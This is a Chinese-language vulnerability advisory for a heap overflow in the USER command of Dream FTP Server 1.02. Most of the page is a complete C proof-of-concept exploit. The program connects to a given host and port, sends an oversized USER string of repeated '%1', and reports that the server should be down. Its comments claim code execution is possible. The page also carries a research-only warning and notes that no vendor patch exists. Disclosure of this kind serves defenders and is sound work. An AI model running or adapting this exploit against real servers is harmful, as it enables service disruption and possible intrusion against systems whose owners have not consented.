Dream FTP Server USER命令远程堆溢出漏洞
更新日期：2007-01-16
受影响系统： BolinTech Dream FTP 1.02描述： BUGTRAQ ID: 22044
Dream FTP Server是一款多线程的ftp服务器。
Dream FTP Server在处理通过USER命令发送的将要在Server Log中所显示的数据时存在堆溢出漏洞，如果攻击者发送了超过2000字节的超长字符串的话，就可以触发这个溢出，导致执行任意代码。
<*来源：Marsu （Marsupilamipowa@hotmail.fr）
链接：http://secunia.com/advisories/23731/
*>
测试方法： 警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
/**************************************************************************
*BolinTech DreamFTP USER buffer overflow *
* *
*The server does not correctly handle format string so sending a command *
*like USER %1*3000 let us own EDX. Other values can also affect EAX & ECX *
* *
*This is only a POC but code execution is possible *
* *
*usage: dreamftp.exe ip port *
* *
*Coded by Marsu <Marsupilamipowa@hotmail.fr> *
**************************************************************************/
#include "winsock2.h"
#include "stdio.h"
#include "stdlib.h"
#pragma comment(lib, "ws2_32.lib")
int main(int argc, char* argv[])
{
struct hostent *he;
struct sockaddr_in sock_addr;
WSADATA wsa;
int ftpsock;
char recvbuff[1024];
char evilbuff[5003];
int buflen=5000;// edx=31253125
int i;
if (argc!=3)
{
printf("[+] Usage: %s <ip> <port>\n",argv[0]);
return 1;
}
WSACleanup();
WSAStartup(MAKEWORD(2,0),&wsa);
printf("[+] Connecting to %s:%s ... ",argv[1],argv[2]);
if ((he=gethostbyname(argv[1])) == NULL) {
printf("Failed\n[-] Could not init gethostbyname\n");
return 1;
}
if ((ftpsock = socket(PF_INET, SOCK_STREAM, 0)) == -1) {
printf("Failed\n[-] Socket error\n");
return 1;
}
sock_addr.sin_family = PF_INET;
sock_addr.sin_port = htons(atoi(argv[2]));
sock_addr.sin_addr = *((struct in_addr *)he->h_addr);
memset(&(sock_addr.sin_zero), ’\0’, 8);
if (connect(ftpsock, (struct sockaddr *)&sock_addr, sizeof(struct sockaddr)) == -1) {
printf("Failed\n[-] Sorry, cannot connect to %s:%s. Error: %i\n", argv[1],argv[2],WSAGetLastError());
return 1;
}
printf("OK\n");
memset(recvbuff,’\0’,1024);
recv(ftpsock, recvbuff, 1024, 0);
printf("[+] Building payload ... ");
for (i=0;i<buflen;i+=2) {
memcpy(evilbuff+i,"%1",2);
}
memcpy(evilbuff,"USER ",5);
memcpy(evilbuff+buflen,"\r\n\0",3);
printf("OK\n[+] Sending USER ... ");
if (send(ftpsock,evilbuff,strlen(evilbuff),0)==-1) {
printf("Failed\n[-] Could not send\n");
return 1;
}
printf("OK\n");
memset(recvbuff,’\0’,1024);
recv(ftpsock, recvbuff, 1024, 0);
Sleep(1000);
printf("[+] Host should be down\n");
return 0;
}
建议： 厂商补丁：
BolinTech
---------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
http://www.bolintech.com/index.htm
|
|
| □ 发表评论 □ 告诉好友 □ 打印此文 □ 关闭窗口 |
